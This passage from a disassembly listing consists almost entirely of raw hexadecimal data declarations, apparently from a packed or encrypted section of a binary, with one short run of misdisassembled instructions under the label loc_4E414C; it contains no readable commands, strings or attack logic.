		dd 2C0A115Fh, 2D030CA0h, 0E084B7F4h, 585E5B6Eh,	960162ECh
		dd 4CF1D781h, 0FE5C7412h, 0B203A0F2h, 9088836h,	40B0B22Bh
		dd 12C16CE8h, 1D5FBEFAh, 0F829C5D4h, 0E1947389h, 28B92DB1h
		dd 0E90384B8h, 0E82C941Ch, 0D34784h, 8EEA426Bh,	2414B9AFh
		dd 307C1814h, 7B0173ECh, 51D227A1h, 44643BB5h, 39A0C38Ah
		dd 0FAB8D9E3h, 30C9F27Ah, 6A7C011Eh, 36C56C1Ch,	0A0611070h
		dd 58CB7DC4h, 0FCA0C0C2h, 362CE166h, 0FE2C5C7Fh, 0D7F6942Ah
		dd 16BDB938h, 0F0103F2Eh, 7D885008h, 7825409h, 0E00888D9h
		dd 7514ECC0h, 0F469069Ah, 5015A051h, 16F86B09h,	0EDF44319h
		dd 0E0B8BC82h, 0F1015AB8h, 0A0833420h, 0BAC6A5D0h, 15FD306Ch
		dd 61888B8h, 59B11407h,	5292EB32h, 4804F816h, 64597CD9h
		dd 0A63C1908h, 64A9BC01h, 40809958h, 5A1FE982h,	6E018092h
		dd 680CA824h, 8086B4FEh, 289F7B64h, 5F5C3100h, 7F52C01Dh
		dd 88304811h, 2DC8DC58h, 0FCF17B85h, 10889C12h,	6ACE215h
		dd 2D6461B3h, 841350F6h, 0A02202E9h, 24F459FCh,	99FA020Ch
		dd 510185ABh, 1C3526B2h, 4C72D2E8h, 1500897Dh, 73CCF59Dh
		dd 48DA16FBh, 24D07E58h, 184CA1F4h, 8B17D0B3h, 8407FB1Dh
		dd 0DE6BD00Eh, 259F109h, 8FC4D4h, 0DC47FA95h, 0FC0B009Ch
		dd 0D1FCA2F7h, 0DABD0065h, 0AD48AE88h, 82A8CB68h, 116B7E4h
		dd 0BA2954FBh, 8470A990h, 284FCA8Ch, 0D9C54008h, 0C071474Bh
		dd 0AB00EAFEh, 170F411Ch, 5643AEACh, 98FB3003h,	729801EFh
		dd 9A704A8h, 1040C289h,	0DA265245h, 6486446Fh, 48BB91h
		dd 0EC1D6A89h, 755E4178h, 1BE88400h, 99A37CE1h,	6B103059h
		dd 75464921h, 0EE4074B2h, 5CA124FBh, 3F4428E4h,	26721664h
		dd 0A4805597h, 5DFD88C8h, 6446111Dh, 787B40h, 62C5B422h
		dd 0D2FBE93Ch, 7F101613h, 884A8420h, 64440831h,	383F2147h
		dd 2F4E78F1h, 852CA0C1h, 7E170BE8h, 8C99E7h, 39FF2D62h
		dd 0BF2C8BC2h, 64075C0Ch, 69131680h, 0A96001A7h, 88196DF7h
		dd 1ED050B8h, 0E30A2D15h, 0A0A6C3FAh, 6DC1709h,	50581C34h
		dd 5CC4C491h, 0C84C7C3Ah, 0E040DD58h, 0EA171E7Dh, 27A16E3h
		dd 0CE16FE7Ch, 0EC1E7470h, 0AD09CF03h, 0C7B80011h, 0B9071DAh
		dd 0DDC6F609h, 0FC43480h, 0CF50C152h, 8E0206F8h, 6504662Fh
		dd 13D478F3h, 341CE983h, 2640B210h, 0DE179C1Fh,	5C24B012h
		dd 8266CC21h, 2A0E1864h, 422002EAh, 0E0434E6Eh,	0E84AFAE9h
		dd 1DFB2751h, 0ED0BBE81h, 0C7015448h, 0E8AC2224h, 0E1102D41h
		dd 0DA71BD01h, 3712A4CEh, 7C20ABCDh, 72660C3h, 2E3EFEE4h
		dd 2A88565h, 1EE99008h,	88F84C84h, 7B4A85F0h, 2C50AC1Dh
		dd 0AEC2C809h, 0A181D410h, 0C6FB30A0h, 34DC33FDh, 8C538033h
		dd 0CC649480h, 92D0B129h, 0FDE4C316h, 2525D0A9h, 0D14FF054h
		dd 389DA89Eh, 0D0A14BE0h, 84C837B8h, 2045A800h,	3B8BFC4Ch
		dd 0FB64122Eh, 0B32CC485h, 0DA513CCCh, 8C09F482h, 30520C70h
		dd 9618F481h, 0D2005FFDh, 662E65C5h, 3C17AC1Ch,	848C670h
		dd 0A42410h, 3FF17408h,	6062648Eh, 0AFD9C8EFh, 0F80366C2h
		dd 7B1DF90Dh, 9159A8B8h, 683400F6h, 2D0AD390h, 8440DC16h
		dd 0B6701F95h, 1ABFC0D8h, 6CFB40D6h, 52E0C2BDh,	86F6F0A4h
		dd 0EC51FB24h, 0BF82FF80h, 0E3DA08h, 6CEC71B1h,	0D48E79E8h
		dd 8D021490h, 4453C9F6h, 18846AFFh, 82D55CB0h, 8E66A048h
		dd 31B36802h, 0D1E68551h, 4E7C87CCh, 0AEE07034h, 5005EA30h
		dd 70B99242h, 3AC88200h, 5D0D263h, 0F7E51596h, 341391h
		dd 9E70BAD4h, 1803F2CDh, 3851FE5Ah, 936009A6h, 38A0F764h
		dd 0DBCB95D5h, 0FE0769F8h, 0CDE75568h, 7214B7C2h, 67B096F8h
		dd 1023C919h, 0B1E1E3A9h, 21DFFC5Eh, 0AD0068B0h, 0A3C62B9Eh
		dd 966C3FB6h, 3889BC24h, 40686571h, 0DF082D5Bh,	26852482h
		dd 611F7Ch, 79E9EEDEh, 7717394Fh, 0AA0C7476h, 4B511099h
		dd 4D24F89Dh, 526F8150h, 28205848h, 0B45C2C23h,	20B42000h
		dd 0C1014F24h, 0E1EA0B70h, 9BF0572Ah, 0BC0A689h, 0B17049B6h
		dd 0FBF6D844h, 0BF552Dh, 78D44550h, 51860C21h, 1280E761h
		dd 4A097C74h, 1BDC80FBh, 7618C274h, 20AC073Ch, 0C344836Fh
		dd 81141004h, 80907351h, 506D0BB7h, 3719C012h, 86904A94h
		dd 0DB0349FDh, 49AACD1Fh, 2D78843h, 0D02A4C62h,	517F6805h
		dd 7EF4B0CEh, 50EBDB24h, 3D19CD90h, 2FFEC834h, 0E5695421h
		dd 7BC9EC62h, 15CB5CC9h, 0A9E9F845h, 5C7D74C1h,	8294C705h
		dd 88D97231h, 1052D5E4h, 124F3050h, 23FC9D18h, 256F21B8h
		dd 0B916FC01h, 502980BDh, 9D2B3368h, 0A4DC5D64h, 0B550C07Fh
		dd 11A60335h, 13C2E2Fh,	0C495C698h, 48406EE5h, 9685ED7Eh
		dd 10B450Ch, 0E3B9203Ch, 0D7486089h, 0DEF8D34Ch, 0C0B02917h
		dd 6B4524A6h, 0F0204928h, 40517C11h, 621CE0B7h,	984B8F5h
		dd 49162F3Ah, 4F292810h, 0F4786454h, 0F0EF9500h, 0EA036CCDh
		dd 1196621Ch, 0C0685464h, 0FA1BB531h, 0B0B0863Dh, 0BAEE9D2h
		dd 6566D635h, 53527E01h, 2C9C3418h, 847C8B13h, 63553800h
		dd 2E51F783h, 0BFF44E67h, 25C872Ch, 2CE3869Fh, 0CB246CC0h
		dd 6A57C803h, 8DAE151Ch, 9105F4E9h, 0A19CD3Fh, 2CB0DCC0h
		dd 62710BF4h, 5E948CA2h, 8F09FB07h, 276D4529h, 5811A8E4h
		dd 0FDE1472h, 33EF428h,	0CB214E6Ah, 0B4D84CC8h,	8824244Ch
		dd 0F00025E1h, 0E336A77Ch, 4BFAA03h, 0A0BD0883h, 54521025h
		dd 3C69B4D3h, 88160E7Ch, 8480D0DAh, 0B1710FBEh,	7109A9F8h
		dd 52F9EA73h, 0B8094E0Ch, 0E1A303B4h, 4FD4C651h, 0A1149138h
		dd 7110872Bh, 520099FAh, 5F51D811h, 3AA40008h, 0FB50D9F5h
		dd 68C2464Bh, 6548E073h, 4DB62CF8h, 77029D4h, 0C761ADAFh
		dd 950F416h, 450020F2h,	3F97467Ch, 6E80ED19h, 7FFC4451h
		dd 0CD0A2FA6h, 0D4DB55CCh, 0B0036917h, 7488C216h, 19C49240h
		dd 900B8451h, 27AED094h, 0D8C08092h, 0C5056E9Bh, 66161809h
		dd 0E96338E2h, 9914EC00h, 0F1CEA9DBh, 3E6410EBh, 0AFB10FDFh
		dd 2530A2D9h, 0D9C4C2DCh, 0F3E47Ch, 0C4FAB985h,	474B048h
		dd 22C80724h, 0F12C8779h, 0C8142F28h, 0CB281D6Ch, 8E208092h
		dd 0E9D412B4h, 48A227h,	0FC4BB69Eh, 0C29CB851h,	46646E18h
; ---------------------------------------------------------------------------


loc_4E414C:				; DATA XREF: ___:off_43A860o
		clc
		pusha
		add	esp, [edx+0Dh]
		retf
; ---------------------------------------------------------------------------
		dw 0CEFBh
		dd 0ABBFBF6Dh, 0D96820BAh, 7EB758h, 9F215ECAh, 12478CEh
		dd 2D08C000h, 647F5ADEh, 48E760D1h, 67F9EF88h, 183EF89Eh
		dd 0B018DAF2h, 3CC2785Ah, 204B81FFh, 54DA1664h,	4E9109Eh
		dd 39005F78h, 8B168042h, 0ED4EB97Ah, 81C48009h,	2B7FFBA0h
		dd 34541702h, 40F2AC42h, 16F73A7Ch, 1752127Ch, 0CBE8C80Dh
		dd 8DD17D15h, 8EDB0424h, 8A2AA7Bh, 3A6AE2Eh, 5F316E3Fh
		dd 88066C2h, 0E2E3D082h, 71C79F9h, 0C14D7BA1h, 0D8F5FA01h
		dd 6E3AF479h, 44C0375Bh, 78841743h, 2DF91CF0h, 581A52B6h
		dd 0DD9624F9h, 85E83C14h, 2049A439h, 3488C883h,	0F8F0CBF6h
		dd 0DE643898h, 2800E84Ah, 89D029E4h, 8249901h, 6D165C38h
		dd 0E2411C5Eh, 0BAFE3505h, 584CCC2Ch, 6D3E5448h, 7C1040C8h
		dd 12EC0042h, 0DDDE386Fh, 60FE00E9h, 0B66C8C0h,	0F4B4D142h
		dd 6F68B440h, 0AE2907F0h, 3008A659h, 0BA84C62Ah, 3023618h
		dd 1FFC2618h, 3AC2C3C0h, 32B50588h, 1941101Eh, 86803B5Fh
		dd 7564F0D7h, 0B42795E1h, 0ACA7719Bh, 0C2B93042h, 90800700h
		dd 13EC7E39h, 0A1CD00EFh, 61C632A6h, 0C000FA3Ch, 0F7E9EBDFh
		dd 453606Ah, 0FCB0203Dh, 58ECC04Bh, 0BD12F25Fh,	78C08B66h
		dd 3818C46Dh, 340E952h,	0C3386500h, 0DB322404h,	0E8EC7078h
		dd 0A6550262h, 0E48EFABBh, 21239C80h, 424B9B52h, 848D3409h
		dd 7E4361F0h, 0B4E52FC7h, 0B912FB74h, 98D868A0h, 0F8D4F51h
		dd 1942D5D0h, 0F080F5C4h, 754A0A6h, 0A8C61707h,	0FB232FD9h
		dd 0C4ACE416h, 9704141Ch, 9D6CDCAEh, 19014BE4h,	4D9993C2h
		dd 7430F511h, 0C52E40A9h, 0BA433FBh, 98752698h,	4DC116C8h
		dd 0A3272877h, 5EFBCC01h, 0AE742489h, 97725701h, 7B3AEC62h
		dd 0D4A03078h, 98912852h, 25775184h, 5CCAC88Ch,	19C384C2h
		dd 3800D4CCh, 8143F4A9h, 263A0DA1h, 0B20F8BBh, 0D186D18Dh
		dd 32009EAEh, 62C61681h, 5912417h, 0C33BD93Ch, 890800AAh
		dd 16134C19h, 788CF94Dh, 25B03958h, 0FB34C914h,	342C4BE1h
		dd 4302D2Dh, 0A5499019h, 33CD05BCh, 0AC927C16h,	4E1CF1C0h
		dd 0FBE9C0F0h, 7A82A78h, 5017EC3Ah, 18F61684h, 0EA916200h
		dd 526F245Dh, 9F4BE7Fh,	0FC9961E1h, 160889F1h, 0E900E09Fh
		dd 482497F6h, 6A2082EAh, 0FD01A8E4h, 0F986B2C0h, 6CE0BE7Ch
		dd 0BD73CBh, 0C71A0FECh, 0E439E920h, 7101AC78h,	4EAE964Dh
		dd 93205652h, 5A5D0FC2h, 0C05290CBh, 0F803C414h, 7864295Bh
		dd 99445480h, 26DEE8D7h, 650D959h, 0C0D2E951h, 70EF7E24h
		dd 0DB02A448h, 2702A93h, 88711530h, 5C13DE3Ch, 5AD90004h
		dd 0A0682112h, 98F0A597h, 254464BCh, 0E06B4588h, 343870C1h
		dd 0C0A6B308h, 586CAA41h, 1C786410h, 0D240DFABh, 219B95E6h
		dd 171E0077h, 138F4128h, 6B1D80E2h, 4696B564h, 0D8FFEC22h
		dd 0AE94B31Ch, 0F269C728h, 38DC2A16h, 0F9925184h, 84AC88B0h
		dd 0A16A1931h, 0CFCC08BFh, 1C800182h, 0A6FAC803h, 99B834B0h
		dd 0D084104Ah, 0AF01FC5Eh, 0F7EB2FC9h, 43C4B9E2h, 5104842Eh
		dd 0B72A9CC0h, 24E2228Ch, 44175501h, 23FADE84h,	0FB0A6479h
		dd 2794E0C6h, 0D978CC14h, 1D27CD01h, 0F80816D0h, 9AC7420h
		dd 77EEC2BEh, 0C8C1AC00h, 2E3CFD57h, 862284Bh, 0C464FCA8h
		dd 0DE042858h, 84414116h, 47B55184h, 0AC23C08Ah, 0B6FA86B0h
		dd 0E4B15853h, 0EA60E8A0h, 16AC6A90h, 4AFB2777h, 0B1E0FC0Eh
		dd 6E9AEA9h, 0A0E663B5h, 0AA1B5552h, 7AD8C0BCh,	0DA370958h
		dd 0A4A83251h, 0A0804230h, 0F23BA491h, 642E2858h, 55835458h
		dd 82E3ED1Ah, 60605C0Ah, 0E78754A4h, 6640DE27h,	0BF84050Ch
		dd 56E6FAh, 0F18B0FB0h,	9D2A6443h, 0DC86C4F6h, 12DCFB1Dh
		dd 0B0E4093Eh, 3AA46418h, 10E1AF64h, 7E40517Ah,	0E8D09413h
		dd 83CD2013h, 8484B8AAh, 40B084C2h, 6512F0D8h, 38ACC596h
		dd 0BC47004h, 0F4B21FEAh, 34241321h, 0EC506C6Ah, 4071E216h
		dd 0D90AA15Ch, 0D7E7E8FFh, 0EE80E219h, 5CDD1F70h, 99825057h
		dd 1CC68578h, 53482EF0h, 0A263C068h, 0EAE1A97Fh, 0BAC02F0h
		dd 72646D74h, 5188ECC8h, 0F80C6531h, 0DA026FDDh, 0A0998080h
		dd 570A16F3h, 0B88B7D50h, 88F55E0Ch, 0F17C3810h, 316CEC16h
		dd 507FA0h, 779A9994h, 8D0C4F0h, 8F2D0F38h, 4D4326FCh
		dd 4C40210h, 0E3D6B60Dh, 14A0A042h, 61C35B01h, 88CD5A07h
		dd 0C550AEE0h, 0A7F4441h, 0D3CA646Ch, 9200BEB8h, 6ADFB86Dh
		dd 6F506BECh, 20409044h, 0E970B693h, 0FB6D1D00h, 695C6074h
		dd 0C5DB8B08h, 39F38BC8h, 4871146Ah, 0C9E7D08Eh, 0C0F04A30h
		dd 0EF0A50h, 6FB5723Eh,	2E24C5B3h, 2AFB6208h, 7B1101F1h
		dd 13D8151h, 0B9C0EA95h, 0CD38004Ch, 0AE82DCC1h, 4503F8B3h
		dd 0AAC2C985h, 0ACD2A146h, 2E5755F0h, 18FCF7h, 0F31FF160h
		dd 0D201940h, 93CE0031h, 16189B9Dh, 0E801870Ah,	517F3602h
		dd 0F86429D3h, 85C53DDBh, 3F8B1404h, 0C148A12Ah, 0FB670066h
		dd 686325B6h, 0F4AC9048h, 197EFA80h, 48F1D151h,	81E04170h
		dd 0FFB006Dh, 1CB248ACh, 20A20B12h, 0FF411CDCh,	0DAB88316h
		dd 0FE514460h, 0C9A1Ah,	0F00A0265h, 34EB142h, 0B9261816h
		dd 0F2F880Eh, 3F2E2372h, 0B4C894D9h, 9045FABh, 740BF7C0h
		dd 0F1022C65h, 773964FCh, 5186B4C0h, 0C8626D24h, 80FBB19Ch
		dd 3AAE1D32h, 0FABF57DFh, 13AC129Fh, 0DA380174h, 686C5114h
		dd 4C5D137Ch, 1F302C41h, 80FEFCFEh, 9B1612A4h, 0B268BA9Ah
		dd 0CABD7714h, 84A888E1h, 0F7B48343h, 0FABC04FCh, 0E496B7D7h
		dd 30E0BC18h, 88B2B1E1h, 0C07D3A28h, 54959D20h,	4008C81Eh
		dd 3603B0E6h, 0D6D8C031h, 0A399E156h, 29EA189Bh, 0FDCCB0E4h
		dd 11675F1Ch, 0EBF2A268h, 84A8D89Ah, 1B02EC6Bh,	0A6949C60h
		dd 17C4C0C2h, 0AC928Eh,	19C82A51h, 86853342h, 25FAB909h
		dd 6C446047h, 9CB1318h,	3E080BDAh, 231C3CA0h, 0EE26E864h
		dd 8A18B86Bh, 4E391719h, 9C100F70h, 18C72590h, 0C8673Ch
		dd 19A42032h, 4AD61404h, 0DDEA6916h, 68D28C22h,	62D85148h
		dd 0E70DC065h, 0EBCE40E0h, 0BCC8263Fh, 7C5913ADh, 458F5800h
		dd 2C18BABh, 512A8C05h,	7C51C277h, 21FAC602h, 5FE4F8A8h
		dd 3F0404B6h, 0E9EB0094h, 9BA514h, 20EC6FE7h, 0EA39779Eh
		dd 6547110Bh, 67B4C09Fh, 92BEC79h, 0D3E65132h, 62A73479h
		dd 6FB46108h, 11242C7Ch, 0A7B00AC8h, 0D8F04914h, 160B14A0h
		dd 0A0452024h, 209449h,	43A081F8h, 0FAC95924h, 10D3D624h
		dd 0A0AD9468h, 0AE3F13A4h, 3051118Bh, 990522Eh,	784116F9h
		dd 0AB90F28h, 5743F74Eh, 42D870FAh, 900943Ch, 0E9F6134Bh
		dd 0DA3CAF2h, 0AE043233h, 727ED0E8h, 0D407B4B8h, 0D6604BB7h
		dd 172AFA41h, 629024h, 3002BE09h, 0D12FF6EAh, 0F9CA13Fh
		dd 791EE9FDh, 42BC611h,	1B76748h, 24A61603h, 984998A5h
		dd 3BF82889h, 7F1280EAh, 1E2442C1h, 0ABFA12CBh,	16484045h
		dd 9E655A70h, 6119512Fh, 0B1CB101Ch, 8463585Bh,	1944DC4Eh
		dd 0D38234EEh, 518904D8h, 3001BFAFh, 5CB19050h,	2DE564C9h
		dd 98964068h, 1220FBB4h, 0AEF928F4h, 2CC7FAE0h,	8808924h
		dd 3D3E7A4Fh, 0E0F8EB14h, 0B6DF5190h, 80801C68h, 967D320h
		dd 2AF13C2Eh, 55F840A1h, 44543EACh, 414B617h, 20F458h
		dd 4B98B3B0h, 4F521329h, 7CE318h, 0C30AC46Fh, 5B593h, 6E2CEE11h
		dd 0FEC614Fh, 0F2249709h, 0A50002BBh, 0E06AE398h, 0CE8A76h
		dd 1AE9D257h
		dd 8DF1DB1Ch, 9E3887F9h, 0FAC7BDA4h, 0AD02CC40h, 0F0AA9024h
		dd 0C43F5179h, 517C303Eh, 0B89112B1h, 0E02D19BCh, 78614D10h
		dd 605E0020h, 0CEF61C9Dh, 68016940h, 92494C73h,	0FC2CA716h
		dd 0B43DC812h, 1940BCA8h, 0AFD92E14h, 441F17FCh, 3DF8BE8h
		dd 52BC719h, 1DFABE38h,	7834A0CAh, 710B1C90h, 59F7E990h
		dd 0CE4D0C2Ch, 0FD48D039h, 471A0134h, 9FBAEB13h, 7E99030h
		dd 1185F383h, 500429F5h, 0E1F10F8Bh, 6BCC23C4h,	7DCB1AD0h
		dd 0D0B45022h, 4EB609FDh, 3418ADC3h, 20B4ABFEh,	70AC8945h
		dd 800C4C9h, 0AB881572h, 2F103Bh, 0D5AAC62Bh, 25F1230Dh
		dd 18C0D716h, 96004CCBh, 0AD0B56AEh, 2EDB663Bh,	408778h
		dd 6F61CE88h, 915D162Ah, 2CA2000Ch, 7D2F4CFEh, 26789AFFh
		dd 60F47E64h, 5413DCBEh, 0AF66C314h, 2E0A02A0h,	89AEC2B7h
		dd 0E9A48E08h, 0B0F0DA05h, 6D091D08h, 476080B1h, 5C42DA16h
		dd 0A5EF23E8h, 1DD8E578h, 63394003h, 480AECEFh,	0D65E4402h
		dd 54ADFE35h, 18B3001Ch, 9E62C673h, 0C7477017h,	4EECD4DDh
		dd 0FA590144h, 16CF1EE8h, 40006AD6h, 17E9EF5Eh,	7004486Bh
		dd 46FAE80Bh, 0DE4DCF0h, 23001BFAh, 2C5A41D2h, 4D79D0EFh
		dd 5F8CDCh, 23F11030h, 0B75036h, 71F9B1BCh, 0A5FA27DFh
		dd 7C63ACC2h, 6D0B7FB0h, 0B49C1A74h, 0EF999400h, 4B6551F0h
		dd 690401FDh, 0CBE19FD0h, 3EDF9DD9h, 5AB18C70h,	6134B662h
		dd 0D027DAC4h, 541E0BBEh, 0F9800FEEh, 5F843B63h, 0F471002Dh
		dd 445EAE11h, 0E300B602h, 37BDB16Fh, 13317333h,	0B02BFB5Ah
		dd 193EADE8h, 0FC4E806Eh, 6F4CF57Dh, 660203C1h,	9AFBE92Fh
		dd 0C4FDFF98h, 1084FC58h, 0E0547C07h, 780C9C69h, 3360D464h
		dd 40A67EE0h, 2B560436h, 91818BFEh, 453712Ch, 1909D4ADh
		dd 0C0C8A7A6h, 50EF89Ch, 0F8C86468h, 48B98A58h,	3961C4A9h
		dd 2068632Eh, 0ECF6C184h, 3C7B1E03h, 0B709D178h, 6AB34C5h
		dd 6966BF3Ch, 6429E406h, 2D10CD5Bh, 98701182h, 9089F72Dh
		dd 8054BAC8h, 0FE2DF17Ah, 273CE4FDh, 0A440BD51h, 0B91362DEh
		dd 0F408696Ah, 0E98A01C2h, 3FECAF18h, 37C8A0E0h, 0CBF27FDDh
		dd 0DC236441h, 6C4B32F1h, 0B4938C91h, 0FB742C6Bh, 1429ED61h
		dd 306FA9AEh, 2518B658h, 0EC2A48h, 14752DDEh, 0B6834DFBh
		dd 0D0160F50h, 0F12E5AE0h, 0F098C71Dh, 0C5409659h, 50A56F5Fh
		dd 5A6A4C42h, 0A0809558h, 0FA622042h, 1E0BC8DDh, 0DEB0022Ch
		dd 91B8C980h, 33D36B01h, 8307854h, 0FAC110AAh, 64A2970Dh
		dd 14726D71h, 213E3925h, 0DEC316C8h, 0C74E0900h, 0D6E0E549h
		dd 83141CADh, 0E62B057h, 3C40C462h, 0C4A2717Eh,	78684491h
		dd 979040D0h, 742B2Eh, 6832630Ch, 2FCE4167h, 0BF850400h
		dd 0C0BC9CFAh, 0D28018A0h, 162F1EC6h, 0CEDC0004h, 0F9CD3FDAh
		dd 6E18073Fh, 0C914FBh,	0DF52177Ch, 7080CBE3h, 2B228480h
		dd 0AA07EC58h, 0D623E2F4h, 38E72EB3h, 0C1001C30h, 6FC365C2h
		dd 62FAFB53h, 880F898h,	8B4AA016h, 900808C9h, 9CEC7A99h
		dd 818048D4h, 426D40FFh, 24142EEEh, 0E164A110h,	84E80A3Bh
		dd 114F3BCCh, 0B04D949Ch, 0C407C03Eh, 9C44520Eh, 5B314338h
		dd 94F0C82Ah, 0B5A2D460h, 8058DC09h, 2D3AE141h,	0C4002210h
		dd 0BCEDC119h, 0AD1E1C00h, 232459AEh, 11485216h, 0B03758F0h
		dd 810F4FF4h, 837D6AC8h, 5D64AAD0h, 7CC04D4Dh, 0B8FE0BDFh
		dd 6A865073h, 0B90FC09h, 0F9E216D7h, 9C38CC01h,	0F8E9F05Ah
		dd 1DEBD301h, 0F7CE64AFh, 0CB74081h, 0F8265942h, 75019954h
		dd 1688DABEh, 0B853D155h, 3F2EB8EBh, 2014BF6Ch,	0E9996Fh
		dd 877E3AC2h, 2C10B5BFh, 8182A7BBh, 0DD9C5140h,	170BF087h
		dd 2C85808Eh, 3174228h,	9007398Dh, 5DB0C8DDh, 7200EECh
		dd 51C525CFh, 0FB385CD5h, 0D4980DF4h, 52212406h, 418EFD4h
		dd 51167043h, 85CCA43Eh, 86EB340Ch, 30FB6004h, 1588EEBDh
		dd 7B1E3AAEh, 708BDE43h, 0B696D0F9h, 0C279E94h,	0EA100168h
		dd 0F1900201h, 196C8082h, 888FFAE0h, 0A6007F10h, 0E7D95739h
		dd 303E85C2h, 5660BD25h, 0C4713374h, 0E2CFFA3Ch, 906BEDB0h
		dd 9D06BD9Ch, 60125C91h, 18926524h, 0F8014B0Bh,	6000BA31h
		dd 7BE89194h, 0B3233F1Fh, 0B2B17A81h, 8D13F352h, 0E0E0A268h
		dd 4080296Ah, 7DA9FB48h, 8998685Ch, 0AA100E96h,	0DA89985Eh
		dd 5E9C328Ch, 59D96264h, 0DDE53CC0h, 5C001890h,	538FC5C8h
		dd 0BDD351E9h, 314A2480h, 14097FB8h, 18881099h,	7E5181D4h
		dd 6CB429h, 66692BB5h, 5DF8F66Bh, 50704167h, 0BA14631Bh
		dd 0A98800Ch, 3B8060D6h, 0FB0A4F68h, 81A41970h,	357E1018h
		dd 2E10717Ah, 0D9712C0Bh, 0C07F1288h, 5076C548h, 6833F0A0h
		dd 0A607BE80h, 0CB1E17BCh, 178F0DCh, 3838C845h,	7CFABDC1h
		dd 6AF300AEh, 3562094Ah, 5C587616h, 137DF240h, 25FC93CAh
		dd 0EDC01C8h, 0C4418FCFh, 0E6277D64h, 0C7644B45h, 810902F4h
		dd 0D4B43872h, 0C25D400h, 59F316DBh, 81842C86h,	0B1C60C2Ah
		dd 39300C4h, 48F2A17Eh,	0FA14F982h, 289025C3h, 44E2F0C5h
		dd 79667F00h, 68520124h, 40E0D217h, 0D4136D5Ch,	0DA05B4A7h
		dd 55D516A9h, 89FCD84Bh, 28F0999Ch, 4FDB01CAh, 25C27CDh
		dd 10620C94h, 6CC87487h, 69886F40h, 2348B1F4h, 0D4E125ACh
		dd 1E8841DEh, 8F543CBDh, 444D2F0h, 0EF0C0F34h, 8B0C2338h
		dd 409F8A16h, 0DC444CC8h, 2461F717h, 54C8B54h, 9B95C67Dh
		dd 4AE28CCh, 134507DAh,	0F835C4FBh, 0CA079E6Ch,	728B6949h
		dd 40ACB0BCh, 0C0B87E19h, 33E2480Fh, 786C89CBh,	3DD13BA4h
		dd 0E9FA5A00h, 0B0E22CFEh, 790605Ch, 0F26E27A0h, 0DC5AF3C0h
		dd 64960DB7h, 6E382D6Fh, 840C781Eh, 45410E3h, 5EFC566Dh
		dd 0A9C4F027h, 76714200h, 0B5651363h, 0B0909F89h, 0D59C764h
		dd 0E294122Ch, 0CD6C4400h, 2CD34257h, 26507E6Ah, 4A49081Ch
		dd 17E98300h, 0B867A8D8h, 8259E4D0h, 0FD02A85Eh, 0FCA10A16h
		dd 503662B0h, 860DB900h, 7A7C2C8Eh, 0C2C11C4Ah,	8017BAB2h
		dd 0A9618440h, 335F7300h, 99B8AFA8h, 0C7F50770h, 0C1EEB37Dh
		dd 0D012A361h, 7900AB0Dh, 42DEFC64h, 0E8CC1BFh,	7DD8601Ch
		dd 0CCEE49C7h, 12009331h, 0C2F05519h, 70218Fh, 87D87731h
		dd 0DF9A9048h, 0DA4A6E03h, 0A3153FEDh, 31C6F0AFh, 1B10307h
		dd 5FEBE4C2h, 83FB10D0h, 3F486001h, 0B50FA0E8h,	0ABDCF4h
		dd 70DD2471h, 86D85B21h, 59BE4306h, 38F34Dh, 0DD267187h
		dd 3484230Eh, 20A4961Fh, 0B175BB00h, 0C0F28391h, 0FBB60828h
		dd 4E00B509h, 20E29FE1h, 30704574h, 0ED488E69h,	8B3EFCD4h
		dd 0DFF87479h, 49C9CA61h, 0F08167A4h, 83F31035h, 40D7FC2Ch
		dd 787533Eh, 36CF9BE0h,	0DA084CB0h, 280703D8h, 0CC8B4941h
		dd 2F40380Ah, 4133A04Eh, 8DA7A82Eh, 3B680618h, 28E0FE49h
		dd 13103400h, 128B5984h, 1E80DF64h, 784A14BAh, 0DD183E0Dh
		dd 0F3D9E118h, 871BE9D1h, 4029B710h, 0F9117DA0h, 0E6EE6Fh
		dd 2FA494D2h, 997E3346h, 591FAC01h, 58B00838h, 38D72F8h
		dd 0EFE0A091h, 0C7993124h, 77688075h, 6386FC8Ch, 0E4DC1284h
		dd 7008037Dh, 2006D91Fh, 8975494Dh, 8B933788h, 0CC88C008h
		dd 5330C1BBh, 9BC10DFh,	71B1F092h, 0E1B23049h, 16E38A28h
		dd 0A1C2220Ah, 0EF068C30h, 6279857Ah, 0D0CD686Ch, 2F1D4301h
		dd 0EA7DE8DCh, 58B40008h, 0E12A8E06h, 6203D2C5h, 0DD883261h
		dd 0AC02D5BDh, 82F71141h
		dd 58FF8C0h, 62504C96h,	4D00E5D0h, 0F41B40B1h, 2E0EA9Ch
		dd 0E85C496Fh, 8C40B604h, 0B23E56F3h, 6E1B8108h, 0A761E2C4h
		dd 0C5932CF0h, 274C6F98h, 12C3D0C4h, 0E467FF49h, 0F47A2C10h
		dd 0DC4B590Ah, 90630E4Fh, 8BC0E201h, 11DED7h, 0A3AB0CE8h
		dd 0BE4C0ECh, 0CEDD00D5h, 10D1E303h, 0D924B8B5h, 0C10608FBh
		dd 0C50DCBAh, 12B56E2h,	0AB48EC41h, 701606B0h, 7868A5D5h
		dd 869901FDh, 0F1C1E723h, 123892CDh, 102AB400h,	0A49AE1D1h
		dd 0DB0A098Ch, 3C006164h, 0AEA44E18h, 0A34CFEB8h, 0EF3D1889h
		dd 90178729h, 0AFDF1204h, 8A1B0A48h, 47444DCh, 0A415ED3Ch
		dd 0B8B30A18h, 0B080F51Ch, 2DBB00C8h, 9FA06A44h, 55036FDCh
		dd 7C968C11h, 0D8749059h, 0EFC4012Fh, 0FC703649h, 55FC203Eh
		dd 0ABFD330Fh, 66DC858Ah, 41DEB442h, 0E0C49B1Bh, 24FC7C7Ah
		dd 41A0B308h, 0BC749648h, 12AB8020h, 568EC221h,	0E8EB4019h
		dd 49A0F450h, 28789530h, 412BB60h, 0EF162ABCh, 7488D25Eh
		dd 0AFC82CB0h, 166D980h, 0CDE72770h, 0F9C1BABFh, 1BB850E8h
		dd 4905B84h, 9840B224h,	6F00E0A0h, 79D4421h, 60D9A9h, 0DB0E1E45h
		dd 6D59ADC6h, 19A66E13h, 0CD553400h, 26C8EE86h,	60D4ED6Ah
		dd 5B88B41Bh, 99C18A0Dh, 992058FFh, 3A2E18CCh, 5E7C4841h
		dd 0D98BB600h, 0A364AEFh, 5F6431B2h, 0E808BC40h, 9B38E842h
		dd 0C06D98D7h, 0FE298C68h, 0C1843903h, 0D06724h, 0F997E508h
		dd 481AF0A0h, 289A515h,	40BEE994h, 4F70BBCh, 78492FECh
		dd 0B5C102D6h, 0B9B407CCh, 56FB6500h, 7C91DC3Ah, 0BA9DD786h
		dd 0B9200078h, 8BD1A8Ch, 0E00F474Dh, 69D7F3C3h,	9FB4A578h
